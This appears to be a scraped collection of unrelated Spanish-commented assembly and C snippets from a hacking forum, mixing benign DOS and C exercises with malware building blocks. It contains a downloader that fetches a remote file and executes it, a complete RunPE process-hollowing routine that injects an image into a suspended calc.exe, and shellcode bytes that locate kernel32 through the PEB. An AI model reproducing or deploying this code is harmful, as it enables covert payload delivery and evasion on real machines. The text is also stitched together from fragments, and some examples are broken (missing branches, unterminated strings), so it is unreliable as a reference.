typedef struct {
    USHORT Length;
    USHORT MaxLen;
    USHORT *Buffer;
    }UNICODE_STRING;

    struct process_info {
    ULONG NextEntryDelta;
    ULONG ThreadCount;
    ULONG Reserved1[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    ULONG BasePriority;
    ULONG ProcessId;
    };

; // Lista Procesos de forma nativa con la API  NtQuerySystemInformation
; // Escrito por Juan fary (mDrinky)
; // [email protected]
; // Ensamblador: Flat Assembler

include 'win32ax.inc'
entry start

.data
        Buffer                  dd 0
        len                     dd 0
        nBytes                  dd ?

.code
start:
        add [len],0x1000

        cinvoke realloc,[Buffer],[len]
        mov [Buffer],eax

        invoke NtQuerySystemInformation,5,[Buffer],[len],addr nBytes

        cmp eax,0xC0000004
        je start

        ListarProcesos:

        mov eax,[Buffer]
        mov eax,[eax+0x3C] ; Nombre del proceso
        ;mov eax,[eax+0x44]   ; ID del proceso

        test eax,eax
        je SiguienteProceso

        push eax
        invoke MessageBoxW,0,eax,0,0
        pop eax

        mov eax,[Buffer]   ; puntero a estructura
        mov eax,[eax]      ; Distancia que habria que recorrer hasta la siguiente estructura

        cmp eax,0          ; Si es 0 no hay mas estructuras
        je salir

        SiguienteProceso:

        mov eax,[Buffer]

        mov edx,eax    ; Puntero a estructura en EDX
        mov eax,[eax]  ; EAX =  NextEntryDelta
        add edx,eax    ; Sumamos la distancia de la siguiente estructura

        mov [Buffer],edx ; Siguiente Estructura

        jmp ListarProcesos

        salir:

        ret

section '.idata' data readable import

        library msvcrt,'msvcrt.dll',\
                NTDLL,'NTDLL.DLL',\
                USER32,'USER32.DLL'

        import msvcrt,\
               realloc,'realloc'

        import NTDLL,\
               NtQuerySystemInformation,'NtQuerySystemInformation'

        import USER32,\
               MessageBoxW,'MessageBoxW'  

include 'win32ax.inc' ;Incluimos para el uso de ciertas apis.

.data ;Seccion de datos.
      remote_file db 'http://underc0de.org/foro/Themes/underc0de/images/theme/logo.png',0 ;Definimos una variable para la URL.
      local_file db 'deje.png',0 ;Definimos otra variable para el nombre del archivo local.

      urlmon dd ?
.code ;Seccion de codigo.
start: ;Comenzamos el codigo
       call loading ;Llamamos a la subrutina para cargar las funciones necesarias.
       call download ;Llamamos a la subrutina para descargar el archivo.
       call execute ;Llamamos a la subrutina para ejecutar el archivo.

       exit:
       invoke ExitProcess,0 ;Salida del programa.

       download: ;Cargamos en la pila los datos necesarios mediante push.

       ;push eax

       push 0
       push 0
       push local_file
       push remote_file
       push 0
       call eax ;llamamos a la funcion UrlDownloadToFileA (Su direccion)

       ;pop eax ;La sacamos de la pila.

       invoke FreeLibrary, [urlmon] ; "La Liberamos"

       ret
       ;call execute ; Nos vamos a la ejecucion del archivo.

       loading:
       invoke LoadLibrary, 'urlmon.dll' ;Llamamos a la libreria que contiene nuestra funcion.
       mov [urlmon],eax
       invoke GetProcAddress, eax, 'URLDownloadToFileA' ;Sacamos la direccion de nuestra funcion.
       ret
       ;call download ;Una vez definida la funcion a usar, podemos para a descargar el fichero.

       execute:
       invoke ShellExecuteA, 0, 0, local_file, 0, 0, SW_SHOW ;Ejecutamos el archivo y salimos...
       ret
       ;call exit ;Llamamos a la salida...

.end start ;Terminamos. 

; // RunPE
; // Programado por Juan fary (mDrinky)
; // [email protected]

format PE GUI 4.0
include 'win32ax.inc'
entry start

section '.data' readable writeable

        struct CONTEXT
               ContextFlags             dd ?
               Dr0                      dd ?
               Dr1                      dd ?
               Dr2                      dd ?
               Dr3                      dd ?
               Dr6                      dd ?
               Dr7                      dd ?
               FloatSave                dd ?
               SegGs                    dd ?
               SegFs                    dd ?
               SegEs                    dd ?
               SegDs                    dd ?
               Edi                      dd ?
               Esi                      dd ?
               Ebx                      dd ?
               Edx                      dd ?
               Ecx                      dd ?
               Eax                      dd ?
               Ebp                      dd ?
               Eip                      dd ?
               SegCs                    dd ?
               EFlags                   dd ?
               Esp                      dd ?
               SegSs                    dd ?
               ExtendedRegisters        rb 512
        ends

        calc            db 'c:\windows\system32\calc.exe',0
        bleidos         dd 0
        Datos           dd 0
        Espacio         dd 0

        _SI                   STARTUPINFO ?
        _PI                   PROCESS_INFORMATION ?
        CTX                   CONTEXT ?

        Param2          dd 0

        ; Datos PE
        imagebase       dd ?
        sizeofheaders   dd ?
        sizeofimage     dd ?
        numseciones     dd ?


section '.code' executable readable writeable
start:
        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI

        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
        mov ebx,eax
        invoke GetFileSize,ebx,0
        mov edi,eax
        invoke GlobalAlloc,GPTR,edi
        push eax
        invoke ReadFile,ebx,eax,edi,addr bleidos,0
        invoke CloseHandle,ebx
        pop eax

        mov [Datos],eax

        cmp word[eax],'MZ'
        jne salir

        add eax,dword[eax+0x3C]  ; PE

        cmp word[eax],'PE'
        jne salir

        push dword[eax+0x34] ; imagebase
        pop [imagebase]

        push dword[eax+0x54] ; sizeofheaders
        pop [sizeofheaders]

        push dword[eax+0x50]
        pop [sizeofimage]    ; sizeofimage

        movzx ebx,word[eax+0x6] ; numero de secciones
        mov [numseciones],ebx

        push eax  ; guardamos ya EAX para el final

        push eax
        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
        mov [Espacio],eax
        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
        pop eax

        mov ecx,0

        add eax,0xF8 ; posicionamos en las cabeceras de seccion

        EscribirSecciones:

        inc ecx

        push ecx
        push eax

        mov ebx,eax
        mov ebx,dword[ebx+0xC]      ; imagebase
        add ebx,[imagebase]

        mov [Param2],ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x14]
        mov edx,[Datos]
        add edx,ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x10]

        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0

        pop eax
        pop ecx

        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER

        cmp ecx,[numseciones]
        jne EscribirSecciones

        invoke GetThreadContext,[_PI.hProcess],CTX

        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0

        pop eax

        add eax,dword[eax+0x3C]
        mov eax,dword[eax+0x28]

        mov [CTX.Eax],eax ; EntryPoint

        invoke SetThreadContext,[_PI.hProcess],CTX

        invoke ResumeThread,[_PI.hThread]

        salir:
        ret

section '.idata' import data readable writeable
        library NTDLL,'NTDLL.DLL',\
                KERNEL32,'KERNEL32.DLL'

        import KERNEL32,\
                CreateProcessA,'CreateProcessA',\
                CreateFileA,'CreateFileA',\
                GetFileSize,'GetFileSize',\
                GlobalAlloc,'GlobalAlloc',\
                ReadFile,'ReadFile',\
                CloseHandle,'CloseHandle',\
                VirtualAllocEx,'VirtualAllocEx',\
                WriteProcessMemory,'WriteProcessMemory',\
                GetThreadContext,'GetThreadContext',\
                SetThreadContext,'SetThreadContext',\
                ResumeThread,'ResumeThread'

        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection' 

db 0x64,0x8B,0x40,0x30,0x8B,0x40,0x0C,0x8D,0x40,0x14,0x31,0xC0,0x64,0x8B,0x40,0x30
db 0x8B,0x40,0x0C,0x8B,0x40,0x14,0x8B,0x00,0x89,0xC2,0x8B,0x52,0x28,0x80,0x7A,0x0C
db 0x33,0x75,0xF3,0x8B,0x40,0x10 ;,0xC3

; eax = Kernel32.dll 

shl bx, 2

    mov ah,0x2A
    int 21h
     
    xor ah, ah
    mov bx, ax
    shl bx, 1
     
    push [Dias + bx]
    call _print     

; Ejemplo obtener dia de la semana.  V2.0
; juan fary (mDrinky)

org 0x100

mov ah,0x2A
int 21h

xor dx,dx
xor ah,ah

mov cx,2
mul cx

mov bx,Dias
add bx,ax

mov dx,[bx]

push dx
call _print

salir:

mov ah,0x1
int 21h

mov ah,0x4C
mov al,0

int 0x21


_print:      ; Función que imprime en pantalla.
    push bp
    mov bp,sp

    mov ah,0x9
    mov dx,word[bp+4]
    int 21h

    pop bp

    ret 2

Dias                    dw D1,D2,D3,D4,D5,D6,D7

D1                      db 'Es Domingo$'
D2                      db 'Es Lunes$'
D3                      db 'Es Martes$'
D4                      db 'Es Miercoles$'
D5                      db 'Es Jueves$'
D6                      db 'Es Viernes'
D7                      db 'Es Sabado$'    

; Ejemplo obtener dia de la semana.
; juan fary (mDrinky)

org 0x100

mov ah,0x2A
int 21h

cmp al,0 ; Es domingo
je Domingo

cmp al,1 ; es lunes

cmp al,3 ; es miercoles
je Miercoles

cmp al,4 ; es jueves
je Jueves

cmp al,5 ; es viernes
je Viernes

cmp al,6 ; es sabado
je Sabado

salir:

mov ah,0x1
int 21h

mov ah,0x4C
mov al,0

int 0x21

Domingo:
    push textDomingo
    call _print
    jmp salir

Lunes:
    push textLunes
    call _print
    jmp salir

Martes:
    push textMartes
    call _print
    jmp salir

Miercoles:
    push textMiercoles
    call _print
    jmp salir

Jueves:
    push textJueves
    call _print
    jmp salir

Viernes:
    push textViernes
    call _print
    jmp salir

Sabado:
    push textSabado
    call _print
    jmp salir

_print:      ; Función que imprime en pantalla.
    push bp
    mov bp,sp

    mov ah,0x9
    mov dx,word[bp+4]
    int 21h

    pop bp

    ret 2

textDomingo             db 'Es Domindo$'
textLunes               db 'Es Lunes$'
textMartes              db 'Es Martes$'
textMiercoles           db 'Es Miercoles$'
textJueves              db 'Es Jueves$'
textViernes             db 'Es Viernes'
textSabado              db 'Es Sabado$'      

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int total = 1000; // Numeros pares
    int i;
    int Parte;
    int porcentaje = 0;


    Parte = (total/100);

    printf("El 1%% = %i\n",Parte);

    for (i=0;i<=total;i+=Parte)
    {

        printf("i = %i, Porcentaje = %i%%\n",i,porcentaje);
        porcentaje += 1;
    }

    system("PAUSE");

    return 0;
}